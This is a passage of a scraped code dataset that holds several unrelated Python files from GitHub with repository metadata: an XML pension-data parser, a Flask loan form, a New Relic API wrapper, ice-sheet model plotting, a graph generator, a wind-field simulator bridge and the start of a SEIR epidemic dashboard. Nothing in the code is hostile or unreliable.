cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/HeshbonotOPolisot/HeshbonOPolisa/PirteiTaktziv/PerutMasluleiHashkaa/SHEM-MASLUL-HASHKAA'),\n            cls.read_one_cell(root,'./YeshutYatzran/Mutzarim/Mutzar/HeshbonotOPolisot/HeshbonOPolisa/TAARICH-HITZTARFUT-MUTZAR'))\n\n        for f_maasik in root.findall('./YeshutYatzran/Mutzarim/Mutzar/NetuneiMutzar/YeshutMaasik'):\n            maasik = Maasik(f_maasik.find('SHEM-MAASIK').text)\n            mutzar.add_maasik(maasik)\n\n        member.add_mutzar(mutzar)\n\n    @staticmethod\n    def read_one_cell(root,cell):\n        try:\n            return root.find(cell).text.strip()\n        except:\n            return ''\n", "repo_name": "kaplanhadar1982/parse-swiftness", "sub_path": "src/utilities/xml_utils.py", "file_name": "xml_utils.py", "file_ext": "py", "file_size_in_byte": 2221, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "entities.member.Member", "line_number": 15, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 17, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 29, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 29, "usage_type": "name"}, {"api_name": "entities.member_personal_data.MemberPersonalData", "line_number": 34, "usage_type": "call"}, {"api_name": "entities.mutzar.Mutzar", "line_number": 40, "usage_type": "call"}, {"api_name": "entities.maasik.Maasik", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "19814611751", "text": "from flask_wtf import FlaskForm\nfrom wtforms import TextField, SelectField, IntegerField, Form, BooleanField, StringField, PasswordField, validators, SubmitField\nfrom wtforms.validators import DataRequired, AnyOf, NoneOf\n\n\nclass DeleteRowForm(FlaskForm):\n    ID = IntegerField('Delete Row: ', validators=[DataRequired()])\n\n\nclass ApplicationForm(FlaskForm):\n    age = IntegerField(\"Age: \", validators=[DataRequired()])\n    occupation = StringField(\"Occupation: \", validators=[DataRequired()])\n    grade = SelectField(\"Credit Score: \", choices=[\n        ('Choose', 'Choose'),\n        ('750', '750'),\n        ('700', '700'),\n        ('650', '650'),\n        ('625', '625'),\n        ('600', '600'),\n        ('550', '550'),\n        (\"Bad Credit\", \"Bad Credit\")],\n        validators=[AnyOf(['750', '700', '650', '625', '600', '550', \"Bad Credit\"])])\n    Years_At_present_Employment = IntegerField(\n        \"Years at present employment: \", validators=[DataRequired()])\n    expenses = IntegerField(\n        \"Monthly Expenses: \", validators=[DataRequired()])\n    income = IntegerField(\n        \"Annual Salary: \", validators=[DataRequired()])\n    Delinquency = SelectField(\n        \"Have you ever been delinquent on a loan?: \", choices=[('Choose', 'Choose'), ('Yes', 'Yes'), ('No', 'No')], validators=[AnyOf(['Yes', 'No'])])\n    Collections = SelectField(\n        \"Have you ever been in collections on a loan?: \", choices=[('Choose', 'Choose'), ('Yes', 'Yes'), ('No', 'No')], validators=[AnyOf(['Yes', 'No'])])\n    Derogatory = SelectField(\n        \"Do you have a derogatory item on a loan?: \", choices=[('Choose', 'Choose'), ('Yes', 'Yes'), ('No', 'No')], validators=[AnyOf(['Yes', 'No'])])\n    Housing = SelectField(\n        \"What is your housing situation?: \",\n        choices=[('Choose', 'Choose'),\n                 ('Own my home', 'Own my home'),\n                 ('Mortgage', 'Mortgage'),\n                 ('Rent', 'Rent'),\n                 ('Live with Parents',\n                  'Live with Parents')],\n        validators=[AnyOf([\n            'Own my home',\n            'Mortgage',\n            'Rent',\n            'Live with Parents'])])\n", "repo_name": "MikeStrenk/ATX-Financial-Personal-Loan-Behavior-Predictions", "sub_path": "forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 2135, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask_wtf.FlaskForm", "line_number": 6, "usage_type": "name"}, {"api_name": "wtforms.IntegerField", "line_number": 7, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 10, "usage_type": "name"}, {"api_name": "wtforms.IntegerField", "line_number": 11, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 11, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 12, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 12, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 13, "usage_type": "call"}, {"api_name": "wtforms.validators.AnyOf", "line_number": 22, "usage_type": "call"}, {"api_name": "wtforms.IntegerField", "line_number": 23, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 24, "usage_type": "call"}, {"api_name": "wtforms.IntegerField", "line_number": 25, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 26, "usage_type": "call"}, {"api_name": "wtforms.IntegerField", "line_number": 27, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 28, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 29, "usage_type": "call"}, {"api_name": "wtforms.validators.AnyOf", "line_number": 30, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 31, "usage_type": "call"}, {"api_name": "wtforms.validators.AnyOf", "line_number": 32, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 33, "usage_type": "call"}, {"api_name": "wtforms.validators.AnyOf", "line_number": 34, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 35, "usage_type": "call"}, {"api_name": "wtforms.validators.AnyOf", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "23103346654", "text": "\"\"\" Newrelic Alert policies resource\n\"\"\"\n\nfrom newrelic import Newrelic\nimport json\n\n\nclass AlertsPolicies(Newrelic):\n\n    def list(self, **kwargs):\n        \"\"\"\n        Returns list of newrelic alert policies.\n\n        :type kwargs: dict\n        :param kwags: named argument: params, headers\n\n        :rtype dict\n        :return: The json of applications list filtered by payload\n                 sent.\n\n        ::\n        \"\"\"\n        rpath = \"/alerts_policies.json\"\n        return self._get(\n            self.getURL(rpath),\n            params=kwargs.get('params', {}),\n            headers=self.getHeaders(kwargs.get('headers', {}))\n        )\n\n    def create(self, **kwargs):\n        \"\"\"\n        create alert policy\n\n        :type kwargs: dict\n        :param kwags: named argument: headers, policy.\n                      policy contain json for policy creation\n\n        :rtype: dict\n        :return: The json response of the api.\n        \"\"\"\n        rpath = \"/alerts_policies.json\"\n        return self._post(\n            self.getURL(rpath),\n            data=json.dumps(kwargs.get('policy')),\n            headers=self.getHeaders(kwargs.get('headers', {}))\n        )\n\n    def update(self, id, **kwargs):\n        \"\"\"\n        Update application parameters and settings\n\n        :type id: int\n        :param id: policy id\n\n        :type kwargs: dict\n        :param kwags: named argument: headers, policy\n                      policy contain data to update\n\n        :rtype: dict\n        :return: json response of update request\n        \"\"\"\n        rpath = \"/alerts_policies/%s.json\" % id\n        return self._put(\n            self.getURL(rpath),\n            headers=self.getHeaders(kwargs.get('headers', {})),\n            data=json.dumps(kwargs.get('policy', {}))\n        )\n\n    def delete(self, id, **kwargs):\n        \"\"\"\n        Delete alert policy\n\n        :type id: int\n        :param id: alert policy id\n\n        :type kwargs: dict\n        :param kwags: named argument: headers\n\n        :rtype: dict\n        :return: Json response of api\n        \"\"\"\n        rpath = \"/alerts_policies/%s.json\" % id\n        return self._delete(\n            self.getURL(rpath),\n            headers=self.getHeaders(kwargs.get('headers', {}))\n        )\n", "repo_name": "sahilsk/newrelic-monitoring", "sub_path": "newrelic_api/alerts_policies.py", "file_name": "alerts_policies.py", "file_ext": "py", "file_size_in_byte": 2231, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "newrelic.Newrelic", "line_number": 8, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 66, "usage_type": "call"}]}
{"seq_id": "36607098327", "text": "import os\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport livvkit\nfrom livvkit.util.LIVVDict import LIVVDict\nfrom livvkit import elements\nfrom livvkit.util import functions\n\n\ncase_color = {'bench': '#d7191c',\n              'test':  '#fc8d59'}\n\nline_style = {'bench': 'o-',\n              'test': '-'}\n\nsetup = None\n\n\ndef set_up():\n    global setup\n    setup = functions.read_json(os.path.join(os.path.dirname(__file__), 'ismip.json'))\n\n    for exp, size in [('ismip-hom-a', '005'), ('ismip-hom-c', '005'), ('ismip-hom-f', '000')]:\n        recreate_file = os.path.join(livvkit.__path__[0], setup[exp][\"data_dir\"],\n                                     setup[exp]['pattern'][0].replace('???', size))\n        setup[exp]['interp_points'] = \\\n            np.genfromtxt(recreate_file, delimiter=',', missing_values='nan',\n                          usecols=(0,), unpack=True)\n        if exp == 'ismip-hom-f':\n            setup[exp]['interp_points'] = setup[exp]['interp_points']*100 - 50\n\n\ndef get_case_length(case):\n    return str(int(case.split('-')[-1][1:])).zfill(3)\n\n\ndef run(config, analysis_data):\n    case = config['name']\n    if case in ['ismip-hom-a', 'ismip-hom-c', 'ismip-hom-f']:\n        coord = 'x_hat'\n    else:\n        coord = 'y_hat'\n\n    lengths = list(set(\n        [get_case_length(d) for d in analysis_data]\n        ))\n\n    plot_list = []\n    for p, pattern in enumerate(sorted(setup[case]['pattern'])):\n        fig_label = pattern.split('_')[1]\n        description = ''\n\n        for l in sorted(lengths):\n            plt.figure(figsize=(10, 8), dpi=150)\n            plt.xlabel(setup[case]['xlabel'][p])\n            plt.ylabel(setup[case]['ylabel'][p])\n\n            if case in ['ismip-hom-a', 'ismip-hom-c']:\n                plt.title(str(int(l))+' km')\n                title = fig_label[0:-1]+'. '+fig_label[-1]+': '+str(int(l))+' km'\n            else:\n                plt.title('No-Slip Bed')\n                title = fig_label[0:-2]+'. '+fig_label[-2:]+': No-Slip Bed'\n\n            plot_file = os.path.join(config[\"plot_dir\"], config['name']+'_'+fig_label+'_'+l+'.png')\n            recreate_file = os.path.join(\n                    livvkit.__path__[0], setup[case][\"data_dir\"], pattern\n                    ).replace('???', l)\n            axis, fs_amin, fs_amax, fs_mean, fs_std, ho_amin, ho_amax, ho_mean, ho_std = \\\n                np.genfromtxt(recreate_file, delimiter=',', missing_values='nan', unpack=True)\n\n            if case in ['ismip-hom-f']:\n                axis = axis*100.0 - 50.0\n\n            plt.fill_between(axis, ho_amin, ho_amax, facecolor='green', alpha=0.5)\n            plt.fill_between(axis, fs_amin, fs_amax, facecolor='blue', alpha=0.5)\n            plt.plot(axis, fs_mean, 'b-', linewidth=2, label='Full stokes')\n            plt.plot(axis, ho_mean, 'g-', linewidth=2, label='Higher order')\n\n            analysis = {}\n            for a in analysis_data:\n                if int(l) == int(a.split('-')[-1][1:]):\n                    analysis[a] = analysis_data[a]\n\n            for a in analysis:\n                for model in sorted(analysis[a]):\n                    plt.plot(analysis[a][model][coord],\n                             analysis[a][model][config['plot_vars'][p]],\n                             line_style[model],\n                             color=case_color[model],\n                             linewidth=2,\n                             label=a+'-'+model)\n\n            plt.legend(loc='best')\n            plt.savefig(plot_file)\n            plt.close()\n\n            image = elements.Image(title, description, plot_file)\n            plot_list.append(image)\n\n    return elements.Gallery(\"Numerics Plots\", plot_list)\n\n\ndef summarize_result(data, config):\n    case = config['name']\n    summary = LIVVDict()\n    lengths = list(set([get_case_length(d) for d in data]))\n\n    for p, pattern in enumerate(sorted(setup[case]['pattern'])):\n        for l in sorted(lengths):\n\n            recreate_file = os.path.join(\n                    livvkit.__path__[0], setup[case][\"data_dir\"], pattern\n                    ).replace('???', l)\n\n            axis, fs_amin, fs_amax, fs_mean, fs_std, ho_amin, ho_amax, ho_mean, ho_std = \\\n                np.genfromtxt(recreate_file, delimiter=',', missing_values='nan', unpack=True)\n\n            analysis = {}\n            for a in data:\n                if int(l) == int(a.split('-')[-1][1:]):\n                    analysis[a] = data[a]\n\n            for a in analysis:\n                for model in sorted(analysis[a]):\n                    if setup[case]['ylabel'][p].split(\" \")[0].lower() == 'surface':\n                        percent_errors = np.divide(analysis[a][model][config['plot_vars'][p]]\n                                                   - ho_mean, ho_mean+1000)\n                        coefficient = np.divide(ho_std, ho_mean+1000)\n                    else:\n                        percent_errors = np.divide(analysis[a][model][config['plot_vars'][p]]\n                                                   - ho_mean, ho_mean)\n                        coefficient = np.divide(ho_std, ho_mean)\n\n                    label = a+' '+setup[case]['ylabel'][p].split(\" \")[0]\n                    if model.lower() == 'bench':\n                        summary[label]['Bench mean % error'] = \\\n                            '{:3.2%}'.format(np.nanmean(percent_errors))\n                    else:\n                        summary[label]['Test mean % error'] = \\\n                            '{:3.2%}'.format(np.nanmean(percent_errors))\n\n                    summary[label]['Coefficient of variation'] = \\\n                        '{:3.2%}'.format(np.nanmean(coefficient))\n\n    return summary\n\n\ndef print_summary(case, summary):\n    \"\"\" Show some statistics from the run \"\"\"\n    for subcase in summary:\n        message = case + \" \" + subcase\n        print(\"    \" + message)\n        print(\"    \" + \"-\"*len(message))\n        for key, val in summary[subcase].items():\n            print(\" \"*4 + key.ljust(25) + \":\" + val.rjust(7))\n        print(\"\")\n", "repo_name": "LIVVkit/LIVVkit", "sub_path": "livvkit/components/numerics_tests/ismip.py", "file_name": "ismip.py", "file_ext": "py", "file_size_in_byte": 6004, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "livvkit.util.functions.read_json", "line_number": 23, "usage_type": "call"}, {"api_name": "livvkit.util.functions", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "livvkit.__path__", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.genfromtxt", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "livvkit.__path__", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.genfromtxt", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "livvkit.elements.Image", "line_number": 100, "usage_type": "call"}, {"api_name": "livvkit.elements", "line_number": 100, "usage_type": "name"}, {"api_name": "livvkit.elements.Gallery", "line_number": 103, "usage_type": "call"}, {"api_name": "livvkit.elements", "line_number": 103, "usage_type": "name"}, {"api_name": "livvkit.util.LIVVDict.LIVVDict", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "livvkit.__path__", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.genfromtxt", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 146, "usage_type": "call"}]}
{"seq_id": "39674526671", "text": "from json.encoder import JSONEncoder\nimport random\nfrom Vertex import Vertex\nfrom Edge import Edge\nimport sys\nimport copy\nimport json\n        \nclass Graph:\n    def __init__(self, total_vertexs:int):\n            random.seed(88194)\n            self.total_vertexs = total_vertexs\n            self.vertexs = self.generateVertexs()\n            self.edges = self.generateEdges()\n\n    def saveGraph(self):\n        save_file_name = 'Graphs/graph_' + str(self.total_vertexs) + '.json'\n        save_file = open(save_file_name, 'w')\n        vertex_dump = [v.toJSON() for v in self.vertexs]\n        edges_dump = [v.toJSON() for v in self.edges]\n        json.dump({'vertexs': vertex_dump, 'edges': edges_dump}, save_file)\n        \n    def loadGraph(vertex_count: int):\n        save_file_name = 'Graphs/graph_' + str(vertex_count) + '.json'\n        save_file = open(save_file_name, 'r')\n        context = json.load(save_file)\n        res = Graph(0)\n        res.total_vertexs = vertex_count\n        res.vertexs = [Vertex.fromJSON(v) for v in context['vertexs']]\n        res.edges = [Edge.fromJSON(e) for e in context['edges']]\n        return res\n        \n\n\n    def generateEdges(self):\n        edges = []\n        for vertex in self.vertexs:\n            current_vertex_edges = 0\n            for edge in edges:\n                if edge.containsVertex(vertex):\n                    current_vertex_edges += 1\n            max_edges_to_insert = self.total_vertexs - current_vertex_edges\n            vertex_edges = random.randint(0, max_edges_to_insert)\n            for i in range(vertex_edges):\n                to_insert = self.generateEdge(vertex, edges)\n                if to_insert:\n                    edges.append(to_insert)\n                else:\n                    break\n        return edges\n\n    def generateEdge(self, vertex, edges):\n        potential_vertexs = copy.deepcopy(self.vertexs)\n        potential_vertexs.remove(vertex)\n        for edge in edges:\n            if vertex == edge.vertex1:\n                potential_vertexs.remove(edge.vertex2)\n            elif vertex == edge.vertex2:\n                potential_vertexs.remove(edge.vertex1)\n        if len(potential_vertexs) != 0:\n            rand_vertex = random.randint(0, len(potential_vertexs)-1)\n            return Edge(vertex, potential_vertexs[rand_vertex])\n        else:\n            return None\n\n\n    def generateVertexs(self):\n        inserted_vertexs = 0\n        vertexs = []\n        while(inserted_vertexs != self.total_vertexs): \n            x = random.randint(1, 9)\n            y = random.randint(1, 9)\n            to_insert = Vertex(x,y)\n            if self.checkValidVertex(to_insert, vertexs):\n                vertexs.append(to_insert)\n                inserted_vertexs += 1\n        return vertexs\n        \n\n    def checkValidVertex(self, to_insert, vertexs):\n        for vertex in vertexs:\n            if to_insert.distance(vertex) <= 1:\n                return False\n        return True\n\n\n\nif __name__ == '__main__':\n    if len(sys.argv) == 1:\n        print('Usage:\\npython3 Graph.py [-save] vertex_count')\n    else:\n        if len(sys.argv) == 2:\n            total_vertexs = int(sys.argv[1])\n            \n        elif len(sys.argv) == 3:\n            total_vertexs = int(sys.argv[2])\n        graph = Graph(total_vertexs)\n        print(graph.vertexs)\n        print(graph.edges)\n        if len(sys.argv) == 3:\n            graph.saveGraph()\n\n    ", "repo_name": "bearkillerPT/AA", "sub_path": "AA01/Graph.py", "file_name": "Graph.py", "file_ext": "py", "file_size_in_byte": 3402, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.seed", "line_number": 11, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 21, "usage_type": "call"}, {"api_name": "json.load", "line_number": 26, "usage_type": "call"}, {"api_name": "Vertex.Vertex.fromJSON", "line_number": 29, "usage_type": "call"}, {"api_name": "Vertex.Vertex", "line_number": 29, "usage_type": "name"}, {"api_name": "Edge.Edge.fromJSON", "line_number": 30, "usage_type": "call"}, {"api_name": "Edge.Edge", "line_number": 30, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 43, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 53, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 61, "usage_type": "call"}, {"api_name": "Edge.Edge", "line_number": 62, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 71, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 72, "usage_type": "call"}, {"api_name": "Vertex.Vertex", "line_number": 73, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 89, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 93, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 96, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 100, "usage_type": "attribute"}]}
{"seq_id": "6454143198", "text": "#!/usr/bin/env python\n\nfrom __future__ import absolute_import, print_function, division\nfrom mesonh_atmosphere import MesoNHAtmosphere\nimport os\nimport sys\nimport signal\nimport time\nimport socket\nimport struct\nimport cmath\nimport numpy as np\nfrom os import getenv\n# if PAPARAZZI_HOME not set, then assume the tree containing this\n# file is a reasonable substitute\nPPRZ_HOME = getenv(\"PAPARAZZI_HOME\", os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../../')))\nsys.path.append(PPRZ_HOME + \"/var/lib/python\")\n\nfrom pprzlink.ivy import IvyMessagesInterface\nfrom pprzlink.message import PprzMessage\n\nM_IN_KM = 1000.\n\natm = None\norigin = np.array([0, 0, 0, 0])\nscale = np.array([1., 1/M_IN_KM, 1/M_IN_KM, 1/M_IN_KM])\n\nstart_time = time.time()\n\n\ndef get_wind(east, north, up):\n    t = time.time() - start_time\n    print(\"east :\",east)\n    print(\"north :\",north)\n    print(\"up :\",up)\n    loc = np.array([t, up, east, north])\n    loc = loc*scale + origin\n    print(\"loc:\",loc)\n    weast, wnorth, wup = atm.get_wind(loc)\n    return weast, wnorth, wup\n\n\ndef ivy_request_callback(sender, msg, resp, *args, **kwargs):\n    \"\"\"\n        Ivy Callback for Paparazzi Requests\n    \"\"\"\n\n    if msg.msg_class == \"ground\" and msg.name == \"WORLD_ENV_REQ\":\n        return worldenv_cb(msg, resp)\n    else:\n        return None\n\n\n#def worldenv_cb(m, r):\ndef worldenv_cb(ac_id, msg):\n    \"\"\"\n        Callback for paparazzi WORLD_ENV requests\n    \"\"\"\n    # request location (in meters)\n    east, north, up = float(msg.get_field(3)),\\\n        float(msg.get_field(4)),\\\n        float(msg.get_field(5))\n    up *= -1\n    # convert in km + translation with mesoNH origin\n    weast, wnorth, wup = get_wind(east, north, up)\n    print(\"wind_est:\")\n    print(weast)\n    print(wnorth)\n    print(wup)\n    msg_back=PprzMessage(\"ground\", \"WORLD_ENV\")\n    msg_back.set_value_by_name(\"wind_east\",weast)\n    msg_back.set_value_by_name(\"wind_north\",wnorth)\n    msg_back.set_value_by_name(\"wind_up\",wup)\n    msg_back.set_value_by_name(\"ir_contrast\",400)\n    msg_back.set_value_by_name(\"time_scale\",1)\n    msg_back.set_value_by_name(\"gps_availability\",1)\n    ivy.send(msg_back,None)\n\n\ndef signal_handler(signal, frame):\n    print('\\nShutting down IVY...')\n    ivy.shutdown()\n    print(\"Done.\")\n\n\ndef main():\n    # parse arguments\n    import argparse as ap\n\n    argp = ap.ArgumentParser(description=\"Environment variables provider \"\n                             \"for Paparazzi simulation from MesoNH data\")\n\n    argp.add_argument(\"-t\", \"--time-step\", required=True, type=int,\n                      help=\"Duration of a time step between MesoNH Files.\")\n    argp.add_argument(\"-f\", \"--files\", required=True, nargs='+',\n                      help=\"MesoNH netCDF files, in temporal ordering\")\n    argp.add_argument(\"-x\", \"--origin-x\", required=False, type=float,\n                      default=0.,\n                      help=\"Origin translation x.\")\n    argp.add_argument(\"-y\", \"--origin-y\", required=False, type=float,\n                      default=0.,\n                      help=\"Origin translation y.\")\n    argp.add_argument(\"-z\", \"--origin-z\", required=False, type=float,\n                      default=0.,\n                      help=\"Origin translation z.\")\n    arguments = argp.parse_args()\n\n    print(arguments)\n\n    # register signal handler for ctrl+c to stop the program\n    signal.signal(signal.SIGINT, signal_handler)\n\n    # origin for translation from paparazzi to mesoNH frame\n    global origin\n    origin = np.array([0, arguments.origin_z, arguments.origin_x, arguments.origin_y])\n\n    # build atmosphere simulation source\n    global atm\n    atm = MesoNHAtmosphere(arguments.files, arguments.time_step, tinit=0)\n\n    # init ivy and register callback for WORLD_ENV_REQ and NPS_SPEED_POS\n    global ivy\n    ivy = IvyMessagesInterface(\"MesoNH\");\n    ivy.subscribe(worldenv_cb,'(.* WORLD_ENV_REQ .*)')\n\n    # wait for ivy to stop\n    from ivy.std_api import IvyMainLoop  # noqa\n\n    signal.pause()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "paparazzi/paparazzi", "sub_path": "sw/simulator/mesonh/mesonh.py", "file_name": "mesonh.py", "file_ext": "py", "file_size_in_byte": 4024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1440, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "pprzlink.message.PprzMessage", "line_number": 70, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 90, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 111, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "mesonh_atmosphere.MesoNHAtmosphere", "line_number": 119, "usage_type": "call"}, {"api_name": "pprzlink.ivy.IvyMessagesInterface", "line_number": 123, "usage_type": "call"}, {"api_name": "signal.pause", "line_number": 129, "usage_type": "call"}]}
{"seq_id": "43306656219", "text": "\"\"\"Serve an interactive visualization of the model\n\nThis file uses holoviews and panel to serve a dashboard where a user can play with the simulation parameters and see how\nthe model behaves.\n\"\"\"\n\nfrom collections import OrderedDict\n\nimport holoviews as hv\nimport holoviews.plotting.bokeh\nimport pandas as pd\nimport panel as pn\n\nimport data\nimport seir\n\npn.extension()\n\nslider_type_map = {\n    float: (pn.widgets.FloatSlider, '0.00[0000]'),\n    int: (pn.widgets.FloatSlider, '0[.]00'),\n    pd.Timestamp: (pn.widgets.DateSlider, None),\n}\n\n\ndef disable_logo(plot, element):\n    \"\"\"Remove Bokeh logo from plots\"\"\"\n    plot.state.toolbar.logo = None\n\n\ndef draw(**kwargs):\n\n    t = pd.date_range(seir.DATE_OF_SIM_TIME_ZERO, '1 May 2020', freq='1d')\n    s, e, i0, i0d, i1, i2, f, fd, r, rd = seir.run_odeint(t, **kwargs)\n\n    vlines = hv.Overlay([\n        hv.VLine(t).options(color='grey', line_dash='dashed', line_width=1) for t in\n        [data.DATE_OF_LOMBARDY_LOCKDOWN, data.DATE_OF_SHUTDOWN_OF_NONESSENTIALS, pd.datetime.now()]\n    ])\n    stack = (\n            hv.Area.stack(\n                hv.Overlay(\n                    [\n                        hv.Area((t, y), label=label).options(\n                            fill_alpha=1.0, line_width=2, color=color, line_color=None, framewise=True\n                        )\n                        for y, label, color in [  # Areas are stacked bottom up in this order\n                            (fd, 'Infection-related fatalities, detected', 'black'),\n                            (i0d, 'Infectious, detected', 'gold'),\n                            (i1, 'Infectious, severe', 'orange'),\n                            (i2, 'Infectious, critical', 'darkred'),\n                            (rd, 'Recovered, detected', 'darkgreen'),\n                            (f, 'Infection-related fatalities, undetected', 'grey'),\n                            (e, 'Exposed, undetected', 'palegoldenrod'),\n                            (i0, 'Infectious, undetected', 'lightsalmon'),\n                            (r, 'Recovered, undetected', 'green'),\n                            